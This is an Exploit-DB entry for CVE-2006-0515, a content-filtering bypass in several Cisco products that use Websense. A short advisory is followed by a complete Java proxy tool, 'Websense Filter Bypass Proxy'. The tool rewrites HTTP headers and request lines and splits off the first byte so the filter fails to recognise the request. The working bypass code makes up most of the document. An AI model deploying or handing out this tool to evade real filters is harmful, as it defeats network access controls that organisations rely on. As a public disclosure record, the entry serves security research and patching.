标题: Cisco - WebSense Content Filtering Bypass EDB-ID: 27830 CVE: 2006-0515 类型: REMOTE 平台: HARDWARE 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17883/info

Multiple Cisco products are susceptible to a content-filtering bypass vulnerability. This issue is due to a failure of the software to properly recognize HTTP request traffic.

This issue allows users to bypass content-filtering and access forbidden websites.

Cisco is tracking this issue as Bug IDs CSCsc67612, CSCsc68472, and CSCsd81734.http://www.cisco.com/pcgi-bin/Support/Bugtool/onebug.pl?bugid=CSCsd81734

// Copyright (C) 2005-2006 Virtual Security Research, LLC. - All rights reserved

// Disclaimer: Use this tool at your own risk. The author of this utility 
// nor Virtual Security Research, LLC. will assume any liability for damage 
// caused by running this code. This utility is provided for educational 
// purposes only.

import java.lang.*;
import java.net.*;
import java.io.*;
import java.util.*;
import javax.swing.JFrame;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.SwingUtilities;
import java.awt.BorderLayout;

class WebsenseBypassProxyConnection implements Runnable {
    Socket csock;
    Socket ssock;
    static int count = 0;
    WebsenseBypassProxy wbp;
    public WebsenseBypassProxyConnection(Socket csock, WebsenseBypassProxy parent) {
 this.csock = csock;
 this.wbp = parent;
    }
    private StringBuffer GetHeader(InputStream istream) throws IOException {
 ByteArrayOutputStream out = new ByteArrayOutputStream();
 int i;
 do {
     i = istream.read();
     if (i == -1) {
  if(out.size() > 0) {
      String s = out.toString();
      if(s.endsWith("\r\n"))
   return (new StringBuffer(out.toString() + "\r\n"));
      else if (s.endsWith("\n"))
   return (new StringBuffer(out.toString() + "\n"));
  }
  throw (new IOException());
     }
     out.write((byte) i);
 } while ((!out.toString().endsWith("\r\n\r\n")) &&
   (!out.toString().endsWith("\n\n")));
 return (new StringBuffer(out.toString()));
    }
    private HashMap GetHeaderParam(StringBuffer header) {
 HashMap h = new HashMap();
 int i=0;
 try {
     if ((i=header.toString().indexOf("\n")) > 0) {
  StringTokenizer stok =
      new StringTokenizer(header.toString().substring(i),
     ":\r\n", true);
  try {
      while(stok.hasMoreTokens()) {
   // Get name value pair
   String tok = stok.nextToken(":").trim().toLowerCase();
   stok.nextToken();
   String tokval = stok.nextToken("\r\n").trim();
   h.put(tok, tokval);
   //System.out.println("n, v: "+tok +", "+tokval);
      }
  } catch(NoSuchElementException e) {
  }
     }
 } catch (Exception e) {
 }
 return(h);
    }
    private StringBuffer GetReqBody(InputStream istream) throws IOException {
 ByteArrayOutputStream out = new ByteArrayOutputStream();
 int i;
 while (!(out.toString().endsWith("\r\n\r\n") ||
   out.toString().endsWith("\n\n"))) {
     
     i = istream.read();
     if (i== -1) {
  if(out.size() > 0) {
      String s = out.toString();
      if(s.endsWith("\r\n"))
   return (new StringBuffer(out.toString() + "\r\n"));
      else if (s.endsWith("\n"))
   return (new StringBuffer(out.toString() + "\n"));
  }
  throw (new IOException());
     }
     out.write((byte) i);
 }
 return (new StringBuffer(out.toString()));
    }
    public void run() {
 Socket ssock = null;
 InputStream clientIn = null;
 BufferedOutputStream clientOut = null;
 InputStream serverIn = null;
 BufferedOutputStream serverOut = null;
 int i=0;
 int ch=-1,r0=-1,r1=-1;
 try {
     clientIn = csock.getInputStream();
     clientOut = new BufferedOutputStream(csock.getOutputStream());
     StringBuffer buf = GetHeader(clientIn);
     int idx = buf.indexOf("Proxy-Connection:");
     int eol = buf.indexOf("\r\n", idx+18);
     //System.out.println("Idx: "+idx+" ,eol: "+eol);
     if ((idx > 0) && (eol > 0)) {
  buf = buf.replace(idx, eol, "Connection: close");
     }
     // And we should just make our lives easy and change keep-alives
     // to close.
     idx = -1;
     eol = -1;
     
     idx = buf.indexOf("Keep-Alive:");
     eol = buf.indexOf("\r\n",idx+11);
     
     //System.out.println("Idx: "+idx+" ,eol: "+eol);
     if ((idx > 0) && (eol > 0)) {
  buf = buf.replace(idx, eol, "Keep-Alive: close");
     }

     HashMap h = GetHeaderParam(buf);
     StringTokenizer st = new StringTokenizer(buf.toString());
     String reqtype = st.nextToken().toUpperCase();
     URL req = new URL(st.nextToken());
     String remotehost = req.getHost();
     int remoteport = req.getPort();
     if (remoteport == -1) {
  remoteport = 80;
     }
     
     // change the target to remove the host and protocol
     idx = -1;
     int end = -1;
 
     idx = buf.indexOf(reqtype + " "+ req.toString());
     end = idx + (reqtype+" "+req.toString()).length();
 
     //System.out.println("Request and URL Idx: "+idx+" , end: "+end);
     if ((idx >= 0) && (end > 0)) {
  buf = buf.replace(idx, end, reqtype+" "+
      req.getPath().toString());
     }
     wbp.displayMessage(">> "+reqtype+" "+req.getPath().toString()+"\n");
     //System.out.println(">> "+reqtype+" "+req.getPath().toString());
     ssock = new Socket(remotehost,remoteport);
     //StringBuffer buf2 = GetReqBody(clientIn);
 
     StringReader sr = new StringReader(buf.toString());

     serverIn = ssock.getInputStream();
     serverOut = new BufferedOutputStream(ssock.getOutputStream());
     while ((ch = sr.read()) != -1) {
  serverOut.write(ch);
  if (i == 0) {
      // Flush out the first byte
      serverOut.flush();
  }
  i++;
     }
     serverOut.flush();
     while ((ch = serverIn.read()) != -1) {
  clientOut.write(ch);
     }
     wbp.displayMessage(">>XX>> Server stream closed\n");
     //System.out.println(">>XX>> Server stream closed");
     clientOut.flush();
     // just added
     csock.shutdownOutput();
     ssock.close();
     csock.close();
     ssock.close();
     csock.close();
 } catch (Exception e) {
     e.printStackTrace(System.err);
 }
    }
}

public class WebsenseBypassProxy extends JFrame {
    private Object lock = new Object();
    private JTextArea displayArea;

    public WebsenseBypassProxy() {
 super("Websense Filter Bypass Proxy 1.0");
 displayArea = new JTextArea();
 add(new JScrollPane(displayArea), BorderLayout.CENTER);
 setSize(400, 250);
 setVisible(true);
 displayArea.setEditable(false);
    }

    void start (int lport) {
 WebsenseBypassProxyListener wbp=new WebsenseBypassProxyListener(this);
 wbp.lport = lport;
 Thread listener = new Thread(wbp);
 listener.start();
 displayMessage("Starting proxy listener on port: "+lport+"\n");
 //System.out.println("Starting proxy listener on port: "+lport);
    }
    void shutdown() {
     synchronized(lock) {
 }
    }
    public void displayMessage( final String messageToDisplay ) {
      SwingUtilities.invokeLater(
         new Runnable() {
            public void run()  {
               displayArea.append( messageToDisplay );
            } 
         }  
      ); 
    }
    public void run(int lport) {
 ServerSocket lsock;
 try {
     lsock = new ServerSocket(lport);
     for (;;) {
  try {
      Socket s;
      s = lsock.accept();
      WebsenseBypassProxyConnection wbpc =
   new WebsenseBypassProxyConnection(s, this);
      Thread t = new Thread(wbpc);
      t.start();
  } catch (IOException e) {
      System.out.print(e.toString());
      return;
  }
     }
 } catch (Exception e) {
     System.out.print(e.toString());
 }
 
    }
    public static void main(String[] argv) {
 if (argv.length != 1) {
     System.err.println(
      "Usage:\n\t java WebsenseBypassProxy <portnum>\n");
 } else {
     try {
  int localport = Integer.parseInt(argv[0]);
  WebsenseBypassProxy wbp = new WebsenseBypassProxy();
  wbp.start(localport);
     } catch (Exception e) {
  e.printStackTrace(System.err);
     }
 }
    }
}

class WebsenseBypassProxyListener implements Runnable {
    WebsenseBypassProxy p;
    public int lport;
    public WebsenseBypassProxyListener(WebsenseBypassProxy p) {
 this.p = p;
    }
    public void run() {
 p.run(lport);
    }
} URL: https://www.exploit-db.com/exploits/27830